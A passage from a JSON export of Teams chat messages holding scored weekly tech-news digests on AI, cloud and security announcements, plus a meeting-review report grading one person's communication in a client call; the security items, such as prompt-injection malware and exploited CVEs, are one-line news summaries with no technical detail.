management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration 